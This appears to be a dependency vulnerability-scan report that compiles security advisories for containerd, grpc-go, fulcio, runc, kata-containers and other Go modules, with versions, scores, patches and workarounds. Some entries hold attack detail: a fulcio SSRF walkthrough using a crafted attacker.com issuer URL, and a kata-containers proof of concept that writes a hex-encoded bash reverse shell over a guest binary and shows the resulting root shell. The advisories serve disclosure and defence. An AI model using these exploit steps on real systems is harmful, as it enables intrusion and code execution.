Ensure that only trusted images are used and that only trusted users have permissions to import images. Alternatively, enforcing a specific numeric runAsUser in the Kubernetes Pod securityContext overrides the USER directive in the image and prevents the bypass. Newer versions of Kubernetes, starting with 1.34, also appear to enforce runAsNonRoot properly regardless of this bug.

Credits

The containerd project would like to thank Lei Wang (@ssst0n3) for responsibly disclosing this issue in accordance with the containerd security policy.

Resources

For more information

If there are any questions or comments about this advisory:

  • Open an issue in containerd
  • Send an email to [security@containerd.io](mailto:security@containerd.io)

To report a security issue in containerd:

medium 6.9: CVE--2026--47262 Uncontrolled Resource Consumption

Affected range>=1.7.0
<1.7.33
Fixed version1.7.33
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.265%
EPSS Percentile18th percentile
Description

Impact

A vulnerability in containerd allows a maliciously crafted image to cause a Denial of Service (DoS) condition. When creating a container from this image, memory exhaustion occurs, leading to an Out Of Memory (OOM) kill of the containerd process. This renders the container runtime API unavailable and can disrupt clients such as the Docker Engine or Kubernetes control-plane components.

Patches

This bug has been fixed in the following containerd versions:

  • 2.3.2
  • 2.2.5
  • 2.1.9
  • 2.0.10
  • 1.7.33

Users should update to these versions to resolve the issue.

Workarounds

Ensure that only trusted images are used and that only trusted users have permissions to import images or schedule pods.

Credits

The containerd project would like to thank Jakub Ciolek (@jake-ciolek) at AlphaSense and Kyle Elliott @ Trail of Bits who independently discovered and responsibly disclosed this issue in accordance with the containerd security policy.

For more information

If you have any questions or comments about this advisory:

  • Open an issue in containerd
  • Email us at [security@containerd.io](mailto:security@containerd.io)

To report a security issue in containerd:

critical: 0 high: 2 medium: 0 low: 0 golang.org/x/mod 0.32.0 (golang)

pkg:golang/golang.org/x/mod@0.32.0

high : CVE--2026--56865

Affected range<0.40.0
Fixed version0.40.0
EPSS Score0.107%
EPSS Percentile1st percentile
Description

A malicious GOPROXY was previously capable of forging up to two sumdb tiles that allow for a requested module to bypass the GOSUMDB check and persist attacker-controlled module content to a local Go module cache.

This attack allows for a malicious GOPROXY to serve malicious module content that cannot be detected by evaluating the transparency log.

All tiles are now correctly verified against their parents.

In order to determine if you have been affected:

rm -r go.sum go.work.sum vendor/ && go mod tidy

high : CVE--2026--56864

Affected range<0.40.0
Fixed version0.40.0
EPSS Score0.298%
EPSS Percentile22nd percentile
Description

A malicious GOSUMDB was capable of serving arbitrary module content not contained within the transparency log.

This attack allows for a coordinating GOPROXY and GOSUMDB to serve a client malicious module content that cannot be detected by evaluating the transparency log.

In order to determine if you have been affected:

rm -r go.sum go.work.sum vendor/ && go mod tidy

critical: 0 high: 2 medium: 0 low: 0 google.golang.org/grpc 1.79.3 (golang)

pkg:golang/google.golang.org/grpc@1.79.3

high 8.8: GHSA--hrxh--6v49--42gf Uncaught Exception

Affected range<1.82.1
Fixed version1.82.1
CVSS Score8.8
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Description

Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:

  • Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing Metadata or RequestedServerName fields.
  • Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.
  • Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing NOT rules around unsupported fields.

Impact

What kind of vulnerability is it? Who is impacted?

xDS RBAC Authorization Bypass via Metadata & RequestedServerName matchers

  • Affected Component: xDS RBAC
  • Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported permission and principal rules (specifically Metadata and RequestedServerName) were silently ignored and treated as no-ops.
    • If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.
  • If these unsupported rules were nested inside logical NOT rules (Permission_NotRule / Principal_NotId) or multi-condition OR/AND rules, silently dropping them changed the boolean logic flow of the authorization engine.

As a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.

HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts

  • Affected Component: HTTP/2 transport
  • Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as SETTINGS ACKs or server-initiated RST_STREAMs.

When a client initiated a rapid flood of stream creation (HEADERS) immediately followed by stream termination RST_STREAM, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS).

Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules

  • Affected Component: xDS RBAC
  • Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a NOT rule wrapped an unsupported or unhandled field (such as SourcedMetadata), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.

An attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a NOT rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).

Patches

Has the problem been patched? What versions should users upgrade to?

All three issues have been fixed in master and will be released in 1.82.1 shortly.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

If upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:

  • For xDS RBAC Vulnerabilities & Panics: Ensure that upstream xDS management servers do not push RBAC policies containing Metadata, RequestedServerName, or NOT rules wrapping unsupported fields (such as SourcedMetadata) to grpc-go servers.
  • For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2 max_concurrent_streams limits and active rate limiting on RST_STREAM frequency per connection.

Severity

Vulnerability Qualitative Severity Approximate CVSS v3.1 Score Primary Impact
xDS RBAC Authorization Bypass High 8.2 Unauthorized Access / Fail-Open
HTTP/2 Rapid Reset DOS Bypass High 7.5 High CPU Consumption / Denial of Service
xDS RBAC Engine Server Panic Medium 5.9 Process Crash / Denial of Service

high 8.7: CVE--2026--84304 Uncontrolled Resource Consumption

Affected range<=1.83.0
Fixed version1.83.1
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.415%
EPSS Percentile35th percentile
Description

Impact

An unauthenticated remote attacker can initiate a gRPC stream and purposefully fragment their payload into millions of tiny (e.g., 1-byte) HTTP/2 DATA frames. Even if the total payload volume falls within the configured connection and stream flow-control windows, each independent fragment incurs memory overhead due to internal tracking structures and queue allocation.

Repeated fragmentation massively inflates the heap space consumed by the stream. An attacker multiplexing multiple concurrent streams can exhaust the memory bounds of the runtime, forcing a runtime panic or OutOfMemory condition and leading to a remote Denial of Service (DoS).

Patches

The change to fix this issue is merged in master and a patch release, 1.83.1, has been published that contains this fix.

Workarounds

This vulnerability is mitigated by implementing receive buffer compaction. Consecutive small data buffers are automatically coalesced into larger buffers from a shared pool once the overhead is perceived to be excessive relative to actual payload data, drastically minimizing per-frame memory overheads.

This behavior is enabled by default. A temporary escape hatch is provided via the environment variable GRPC_GO_EXPERIMENTAL_ENABLE_RECEIVE_BUFFER_COMPACTION=false to disable the feature if unforeseen issues arise, but it will be removed in a future release.

critical: 0 high: 1 medium: 1 low: 0 github.com/sigstore/fulcio 1.8.3 (golang)

pkg:golang/github.com/sigstore/fulcio@1.8.3

high 8.7: CVE--2026--49478 Server-Side Request Forgery (SSRF)

Affected range<=1.8.5
Fixed version1.8.6
CVSS Score8.7
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
EPSS Score0.175%
EPSS Percentile7th percentile
Description

Impact

Three security vulnerabilities were identified in the OIDC Discovery client:

  1. Blind Server-Side Request Forgery (SSRF) via Cross-Host Redirects:
    Fulcio uses an HTTP client to fetch OIDC discovery metadata (/.well-known/openid-configuration). Prior to this fix, if a configured issuer returned an HTTP redirect to a different host, the client followed it by default. This allowed a compromised or malicious issuer to redirect Fulcio's discovery requests to internal-only systems, resulting in blind SSRF.

  2. JWKS Substitution and Cache Poisoning:
    Because cross-host redirects were permitted during OIDC discovery, an attacker could manipulate the discovery flow to return a malicious jwks_uri pointing to an attacker-controlled host. When Fulcio successfully initialized the provider and cached the resulting verifier in the verifier cache, it poisoned the cache with the attacker's verification keys. The attacker could then present signatures validated against the poisoned keys.

  3. Kubernetes ServiceAccount Token Leakage:
    Fulcio mounts an in-cluster Kubernetes ServiceAccount token to authenticate OIDC discovery requests sent to the local control plane API server (https://kubernetes.default.svc).

    • Cross-Host Redirects & JWKS: The token was previously attached globally by the transport, leaking it to third-party hosts if the issuer performed a redirect or if the jwks_uri pointed to a different domain.
    • Wildcard MetaIssuers: If a wildcard MetaIssuer of type kubernetes (e.g., matching external EKS/GKE endpoints) was matched, and a local Kubernetes issuer was present in the config, the transport loaded and attached the local in-cluster ServiceAccount token to outbound requests sent to the external host.

Patches

The following mitigations have been applied:

  • Blocked Cross-Host Redirects: A custom callback is configured on all OIDC discovery HTTP clients to reject redirects that attempt to cross the original issuer's host boundary.
  • Restricted Token Injection: Updated the transport to only attach the ServiceAccount token when the outgoing request's host exactly matches the configured host of the issuer.
  • Restricted Local Token Loading: Constrained the loader to only load and wrap the transport with the local ServiceAccount token when the target issuer URL exactly matches the private local API server (https://kubernetes.default.svc).

Workarounds

None, upgrade to v1.8.6

medium 5.8: CVE--2026--22772 Server-Side Request Forgery (SSRF)

Affected range<=1.8.4
Fixed version1.8.5
CVSS Score5.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
EPSS Score0.224%
EPSS Percentile13th percentile
Description

Security Disclosure: SSRF via MetaIssuer Regex Bypass

Summary

Fulcio's metaRegex() function uses unanchored regex, allowing attackers to bypass MetaIssuer URL validation and trigger SSRF to arbitrary internal services.

Since the SSRF only can trigger GET requests, the request cannot mutate state. The response from the GET request is not returned to the caller so data exfiltration is not possible. A malicious actor could attempt to probe an internal network through Blind SSRF.

Impact

  • SSRF to cloud metadata (169.254.169.254)
  • SSRF to internal Kubernetes APIs
  • SSRF to any service accessible from Fulcio's network
  • Affects ALL deployments using MetaIssuers

Patches

Upgrade to v1.8.5.

Workarounds

None. If anchors are included in the meta issuer configuration URL, they will be escaped before the regular expression is compiled, not making this a sufficient mitigation. Deployments must upgrade to the latest Fulcio release v1.8.5.

Affected Code

File: pkg/config/config.go
Function: metaRegex() (lines 143-156)

func metaRegex(issuer string) (*regexp.Regexp, error) {
    quoted := regexp.QuoteMeta(issuer)
    replaced := strings.ReplaceAll(quoted, regexp.QuoteMeta("*"), "[-_a-zA-Z0-9]+")
    return regexp.Compile(replaced)  // Missing ^ and $ anchors
}

The Bug

The regex has no ^ (start) or $ (end) anchors. Go's regexp.MatchString() does substring matching, so:

Pattern:  https://oidc.eks.*.amazonaws.com/id/*
Regex:    https://oidc\.eks\.[-_a-zA-Z0-9]+\.amazonaws\.com/id/[-_a-zA-Z0-9]+

Input:    https://attacker.com/x/https://oidc.eks.foo.amazonaws.com/id/bar
Result:   MATCHES (substring found)

Exploit

  1. Attacker sends JWT with iss claim: https://attacker.com/path/https://oidc.eks.x.amazonaws.com/id/y
  2. Fulcio's GetIssuer() matches this against MetaIssuer patterns
  3. Unanchored regex matches the embedded pattern as substring
  4. Fulcio calls oidc.NewProvider() with attacker's URL
  5. HTTP request goes to attacker.com, not amazonaws.com
  6. Attacker returns OIDC discovery with jwks_uri pointing to internal service
  7. Fulcio fetches from internal service → SSRF
critical: 0 high: 1 medium: 0 low: 0 go.opentelemetry.io/otel/sdk 1.41.0 (golang)

pkg:golang/go.opentelemetry.io/otel/sdk@1.41.0

high 7.3: CVE--2026--39883 Untrusted Search Path

Affected range>=1.15.0
<=1.42.0
Fixed version1.43.0
CVSS Score7.3
CVSS VectorCVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Score0.258%
EPSS Percentile17th percentile
Description

Summary

The fix for GHSA-9h8m-3fm2-qjrq (CVE-2026-24051) changed the Darwin ioreg command to use an absolute path but left the BSD kenv command using a bare name, allowing the same PATH hijacking attack on BSD and Solaris platforms.

Root Cause

sdk/resource/host_id.go line 42:

if result, err := r.execCommand("kenv", "-q", "smbios.system.uuid"); err == nil {

Compare with the fixed Darwin path at line 58:

result, err := r.execCommand("/usr/sbin/ioreg", "-rd1", "-c", "IOPlatformExpertDevice")

The execCommand helper at sdk/resource/host_id_exec.go uses exec.Command(name, arg...) which searches $PATH when the command name contains no path separator.

Affected platforms (per build tag in host_id_bsd.go:4): DragonFly BSD, FreeBSD, NetBSD, OpenBSD, Solaris.

The kenv path is reached when /etc/hostid does not exist (line 38-40), which is common on FreeBSD systems.

Attack

  1. Attacker has local access to a system running a Go application that imports go.opentelemetry.io/otel/sdk
  2. Attacker places a malicious kenv binary earlier in $PATH
  3. Application initializes OpenTelemetry resource detection at startup
  4. hostIDReaderBSD.read() calls exec.Command("kenv", ...) which resolves to the malicious binary
  5. Arbitrary code executes in the context of the application

Same attack vector and impact as CVE-2026-24051.

Suggested Fix

Use the absolute path:

if result, err := r.execCommand("/bin/kenv", "-q", "smbios.system.uuid"); err == nil {

On FreeBSD, kenv is located at /bin/kenv.

critical: 0 high: 1 medium: 0 low: 0 github.com/go-jose/go-jose/v4 4.1.3 (golang)

pkg:golang/github.com/go-jose/go-jose@4.1.3#v4

high 7.5: CVE--2026--34986 Uncaught Exception

Affected range<4.1.4
Fixed version4.1.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.651%
EPSS Percentile49th percentile
Description

Impact

Decrypting a JSON Web Encryption (JWE) object will panic if the alg field indicates a key wrapping algorithm (one ending in KW, with the exception of A128GCMKW, A192GCMKW, and A256GCMKW) and the encrypted_key field is empty. The panic happens when cipher.KeyUnwrap() in key_wrap.go attempts to allocate a slice with a zero or negative length based on the length of the encrypted_key.

This code path is reachable from ParseEncrypted() / ParseEncryptedJSON() / ParseEncryptedCompact() followed by Decrypt() on the resulting object. Note that the parse functions take a list of accepted key algorithms. If the accepted key algorithms do not include any key wrapping algorithms, parsing will fail and the application will be unaffected.

This panic is also reachable by calling cipher.KeyUnwrap() directly with any ciphertext parameter less than 16 bytes long, but calling this function directly is less common.

Panics can lead to denial of service.

Fixed In

4.1.4 and v3.0.5

Workarounds

If the list of keyAlgorithms passed to ParseEncrypted() / ParseEncryptedJSON() / ParseEncryptedCompact() does not include key wrapping algorithms (those ending in KW), your application is unaffected.

If your application uses key wrapping, you can prevalidate to the JWE objects to ensure the encrypted_key field is nonempty. If your application accepts JWE Compact Serialization, apply that validation to the corresponding field of that serialization (the data between the first and second .).

Thanks

Thanks to Datadog's Security team for finding this issue.

critical: 0 high: 0 medium: 1 low: 0 github.com/opencontainers/runc 1.4.0 (golang)

pkg:golang/github.com/opencontainers/runc@1.4.0

medium 4.8: CVE--2026--41579 UNIX Symbolic Link (Symlink) Following

Affected range>=1.4.0
<=1.4.2
Fixed version1.4.3
CVSS Score4.8
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
EPSS Score0.186%
EPSS Percentile8th percentile
Description

Impact

When setting up the container rootfs, setupPtmx and setupDevSymlinks call os.Remove and os.Symlink with a filepath.Join string which allow an image with /dev as a symlink to trick runc into deleting files called ptmx on the host or creating a hardcoded set of symlinks with specific names and targets in an arbitrary pre-existing host directory.

Please note that this issue is not exploitable under Docker because it creates a top-level ro layer that masks any malicious /dev symlink present in the container image (this is also done without mounting the lower layers so there is no opportunity for the malicious /dev symlink to trick it into resolving to some other path). Unfortunately, Podman and containerd do not do this and so users using those higher-level runtimes with runc can be exploited via a malicious image.

This issue mirrors a somewhat similar issue in crun, which was also published recently.

† Actually, at the time the issue was analysed, containerd had dead code that implemented this feature but the implementation contained several security issues that would arguably have made it more exploitable than in runc. Luckily, the code appears to have never been used (at least since 2017) and the code has since been removed.

Mitigating Factors

There are a few mitigating factors about this issue which reduce the impact for most users quite significantly, and is the reason why we decided to release the fix publicly without an embargo.

While the deletion of ptmx seems like a significant issue, in practice it is quite limited. Notably, devpts does not permit you to unlink /dev/pts/ptmx regardless of privileges and so it is not a usable target for this attack. Additionally, while /dev/ptmx can be unlinked, trying to use an image with a symlink from /dev to /dev will cause runc will return an error before it reaches the buggy code (it correctly detects a symlink loop while setting up the mount target and the code correctly scopes the lookup inside the container). Thus, the only files called ptmx that are guaranteed to exist on the system cannot actually be removed by this bug and so only some user file that happens to have that specific name could be deleted, which seems fairly unlikely to happen on real systems.

As for the issue of symlinks, again the impact is likely quite limited. While the creation of arbitrary symlinks could be used to create drop-in files for system services (and thus lead to a container breakout), the hardcoded set of symlink names and targets that this bug allows you to create on the host make it quite unlikely that you would be able to do much more than pollute the host system with dummy symlinks. Here is the complete list of symlinks that can be created with this attack:

  • core/proc/kcore
  • fd/proc/self/fd/
  • ptmxpts/ptmx
  • stdin/proc/self/fd/0
  • stdout/proc/self/fd/1
  • stderr/proc/self/fd/2

Note that none of these symlinks are likely to point to user-controlled data -- the /proc/self/fd/$n symlinks are all properties of the process accessing them (so privileged processes will only see the state they were spawned with) and the pts/ptmx symlink is almost certainly in the same privilege scope as the directory the symlink itself is in. It seems the only somewhat plausible impact would be that a service could return an error when trying to parse one of these symlinks and thus treat it as an invalid configuration file. How arbitrary processes deal with this situation is a bit hard to analyse, but most daemons require configuration files to have certain suffixes (such as .conf) so it's not really clear how large the impact is in practice and it seems there are a few barriers to clear to use this to cause a DoS or other problems.

‡ This would actually be quite problematic if it could occur because glibc seemingly only attempts to use /dev/ptmx when creating new terminals and thus most terminal managers (including tmux) and shell tools (including sudo -- but not su) would fail to start and thus bring the system to a halt. setupPtmx does add a symlink to /dev/pts/ptmx afterwards but on some systems the mode of the host /dev/pts/ptmx is set to 0o000 which would still cause the same DoS issue.

Patches

This issue has been patched in runc 1.3.6, runc 1.4.3, and runc 1.5.0-rc.3.

Workarounds

Using user namespaces restricts this attack fairly significantly such that the attacker can only create/delete inodes in directories that the remapped root user/group has write access to. Unless the root user is remapped to an actual user on the host (such as with rootless containers that don't use /etc/sub[ug]id), this in practice means that an attacker would only be able to create or delete inodes in world-writable directories.

LSMs can restrict the scope of where in the host filesystem runc can be tricked into operating on, though how much this helps is questionable. The default container_runtime_t SELinux label rules (or custom AppArmor rules for the host runc context) may restrict the scope where these filesystem operations can operate on, but we have not done an in-depth analysis on the impact of those kinds of LSM protections.

Resources

Credits

runc thanks "Davias" for initially finding and reporting this issue. The same underlying issue (with varying levels of completeness) was later reported by Arthur Chan (@arthurscchan from Ada Logics), Junyi Liu (@mosskappa), and Derek Manzella (@Dmanzella).

critical: 0 high: 0 medium: 1 low: 0 go.opentelemetry.io/otel 1.41.0 (golang)

pkg:golang/go.opentelemetry.io/otel@1.41.0

medium : CVE--2026--41178

Affected range>=1.41.0
<1.42.0
Fixed version1.42.0
EPSS Score0.336%
EPSS Percentile26th percentile
Description

Opentelemetry-go's baggage parsing no longer caps raw header length in go.opentelemetry.io/otel

critical: 0 high: 0 medium: 1 low: 0 github.com/kata-containers/kata-containers/src/runtime 0.0.0-20250828155603-754f07cff239 (golang)

pkg:golang/github.com/kata-containers/kata-containers@0.0.0-20250828155603-754f07cff239#src/runtime

medium 5.2: CVE--2026--24834 Improper Preservation of Permissions

Affected range<0.0.0-20260219090056-6a672503973b
Fixed version0.0.0-20260219090056-6a672503973b
CVSS Score5.2
CVSS VectorCVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
EPSS Score0.220%
EPSS Percentile12th percentile
Description

Summary

An issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understinding is this doesn’t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file).

Details

Linux virtio-pmem
The virtio-pmem probe path always registers the region as a generic pagemap that supports asynchronous flushes, but it never marks the region as read-only. Only the ND_REGION_PAGEMAP and ND_REGION_ASYNC bits are set before the region is created, so nd_region->ro always stays cleared and the block device is left writable.

Later, pmem_attach_disk() wires the region into the block layer with full read/write semantics – the block device operations call pmem_do_write() which performs cache-flushed memcpy operations directly into the host-provided shared memory window. nvdimm_check_and_set_ro() would set the disk read-only if the region had been flagged as such, but because virtio_pmem never sets that flag, the helper becomes a no-op.

Cloud-Hypervisor virtio_pmem
discard_writes=on causes the file backing the virtio-pmem device to be opened read-only and mapped with MAP_PRIVATE rather than MAP_SHARED. That combination means the guest can modify the private copy of the mapped pages, but those modifications never propagate back to the underlying file. The guest (and Cloud Hypervisor process) will still read the modified data because it lives in the private copy of the mapping, so write-then-read sequences appear to succeed even though nothing is persisted. Once the mapping is dropped or the VM is restarted, those copy-on-write changes disappear, leaving the backing file unchanged.

Kata /dev/pmem0
Kata boots each pod/VM by DAX-mapping a read-only guest image from the host into the VM and telling the guest kernel to mount the resulting /dev/pmem* device as its root filesystem.
Since DAX maps the backing file directly into guest memory, there is no way for the hypervisor to intercept or reject individual stores, so a container with sufficient permissions can open /dev/pmem0 and observe its own writes until the VM is rebooted or the cache is dropped.

PoC

When putting all this together, this means that a user of a Container (not necessarily privileged, we don’t need CAP_SYS_ADMIN, but we need CAP_MKNOD) can modify the Guest OS filesystem, replacing libraries or binaries to achieve arbitrary code execution outside of the Container. This requires computing offsets of files within the device, which requires information like the partition start sector, sector size in bytes, the filesystem block size, and the physical block index of the file.

To achieve execution on the Guest, I replaced /usr/bin/systemd-tmpfiles with a connect-back shell to localhost: timers end up executing 15min after boot.
I use debugfs to not require mounting privileges and work directly with the filesystem on /dev/pmem0p1 to get the absolute offset of the file to modify in the device.

If you want a simpler PoC, just dd write something into /dev/pmem0 and observe it's dd readable until discarded.

root@<!-- -->ab5392da44ce:~# mknod /dev/pmem0 b 259 0
root@<!-- -->ab5392da44ce:~# mknod /dev/pmem0p1 b 259 1
root@<!-- -->ab5392da44ce:~# python pmem.py --file /usr/bin/systemd-tmpfiles --write --pattern 23212f62696e2f626173680a62617368202d69203e26202f6465762f7463702f3132372e302e302e312f34343320303e26310a6578697420300a
=== Resolution ===
Partition device:         /dev/pmem0p1 (pmem0p1)
Partition start (sectors): 2048
Sector size (bytes):       512
Partition start (bytes):   1048576
Filesystem block size:     4096
File path:                 /usr/bin/systemd-tmpfiles
File offset (bytes):       0
Logical block index:       0
Intra-block offset:        0
Physical block index:      40668
→ Absolute pmem offset:    167624704
[*] Raw read (64 bytes at 167624704):
09fdc000  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00 |.ELF............|
09fdc010  03 00 3e 00 01 00 00 00  20 66 00 00 00 00 00 00 |..>..... f......|
09fdc020  40 00 00 00 00 00 00 00  48 82 01 00 00 00 00 00 |@.......H.......|
09fdc030  00 00 00 00 40 00 38 00  0d 00 40 00 20 00 1f 00 |....@.8...@. ...|
[+] Wrote 58 bytes at absolute offset 167624704. Verifying...
09fdc000  23 21 2f 62 69 6e 2f 62  61 73 68 0a 62 61 73 68 |#!/bin/bash.bash|
09fdc010  20 2d 69 20 3e 26 20 2f  64 65 76 2f 74 63 70 2f | -i >& /dev/tcp/|
09fdc020  31 32 37 2e 30 2e 30 2e  31 2f 34 34 33 20 30 3e |127.0.0.1/443 0>|
09fdc030  26 31 0a 65 78 69 74 20  30 0a                   |&1.exit 0.|
root@<!-- -->ab5392da44ce:~# nc -lvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:44880.
bash: cannot set terminal process group (329): Inappropriate ioctl for device
bash: no job control in this shell
root@<!-- -->localhost:/# 
root@<!-- -->localhost:/# ps auxw
ps auxw
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0  17280  1920 ?        Ss   16:16   0:01 /sbin/init
root           2  0.0  0.0      0     0 ?        S    16:16   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        S    16:16   0:00 [pool_workqueue_release]
root           4  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-rcu_gp]
root           5  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-sync_wq]
root           6  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-slub_flushwq]
root           7  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-netns]
root           9  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/0:0H-events_highpri]
root          10  0.0  0.0      0     0 ?        I    16:16   0:01 [kworker/0:1-events_power_efficient]
root          12  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-mm_percpu_wq]
root          13  0.0  0.0      0     0 ?        I    16:16   0:00 [rcu_tasks_trace_kthread]
root          14  0.0  0.0      0     0 ?        S    16:16   0:00 [ksoftirqd/0]
root          15  0.0  0.0      0     0 ?        I    16:16   0:00 [rcu_sched]
root          16  0.0  0.0      0     0 ?        S    16:16   0:00 [rcu_exp_par_gp_kthread_worker/1]
root          17  0.0  0.0      0     0 ?        S    16:16   0:00 [rcu_exp_gp_kthread_worker]
root          18  0.0  0.0      0     0 ?        S    16:16   0:00 [migration/0]
root          19  0.0  0.0      0     0 ?        S    16:16   0:00 [cpuhp/0]
root          20  0.0  0.0      0     0 ?        S    16:16   0:00 [kdevtmpfs]
root          21  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-inet_frag_wq]
root          22  0.0  0.0      0     0 ?        S    16:16   0:00 [kauditd]
root          23  0.0  0.0      0     0 ?        S    16:16   0:00 [oom_reaper]
root          24  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-writeback]
root          25  0.0  0.0      0     0 ?        S    16:16   0:00 [kcompactd0]
root          26  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-cryptd]
root          27  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-kblockd]
root          28  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/0:1H]
root          29  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/u256:1-events_unbound]
root          30  0.0  0.0      0     0 ?        S    16:16   0:00 [kswapd0]
root          31  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-xfsalloc]
root          32  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-xfs_mru_cache]
root          33  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/u257:0]
root          34  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-kthrotld]
root          36  0.0  0.0      0     0 ?        S    16:16   0:00 [irq/25-ACPI:Ged]
root          37  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-nfit]
root          38  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/0:2-virtio_vsock]
root          39  0.0  0.0      0     0 ?        S    16:16   0:00 [hwrng]
root          40  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/u256:2-events_unbound]
root          41  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-vfio-irqfd-cleanup]
root          42  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-mld]
root          43  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-ipv6_addrconf]
root          81  0.0  0.0      0     0 ?        S    16:16   0:00 [jbd2/pmem0p1-8]
root          82  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-ext4-rsv-conversion]
root          99  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/u256:3]
root         105  0.0  0.0  62032  2568 ?        Ssl  16:16   0:02 /usr/bin/kata-agent
_chrony      117  0.0  0.0  10692   540 ?        S    16:16   0:02 /usr/sbin/chronyd -F 1
_chrony      120  0.0  0.0  10560   460 ?        S    16:16   0:00 /usr/sbin/chronyd -F 1
root         122  0.2  1.0  44876 31556 ?        S    16:16   0:11 python -m server
message+     124  0.0  0.0   8120   384 ?        Ss   16:16   0:00 @<!-- -->dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root         129  0.0  0.0      0     0 ?        S    16:16   0:00 [cpuhp/1]
root         130  0.0  0.0      0     0 ?        S    16:16   0:00 [migration/1]
root         131  0.0  0.0      0     0 ?        S    16:16   0:00 [ksoftirqd/1]
root         132  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/1:0-mm_percpu_wq]
root         133  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/1:0H-events_highpri]
root         134  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/1:1H]
root         142  0.0  0.0   5400  2220 pts/0    Ss   16:16   0:00 bash -l
root         145  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/1:1]
root         323  0.0  0.1  13212  3448 pts/0    R+   16:17   0:00 nc -lvp 443
root         329  0.0  0.0   4780   256 ?        Ss   16:31   0:00 /bin/bash /usr/bin/systemd-tmpfiles --clean
root         330  0.0  0.0   5048   512 ?        S    16:31   0:00 bash -i
root         377  0.0  0.0   7480   256 ?        R    17:33   0:00 ps auxw
root@<!-- -->localhost:/#

Impact

Container to Guest micro VM Escape (no escape to Host, no persistence of the overwritten image)

critical: 0 high: 0 medium: 1 low: 0 github.com/kata-containers/kata-containers/src/runtime 0.0.0-20250828155603-754f07cff239 (golang)

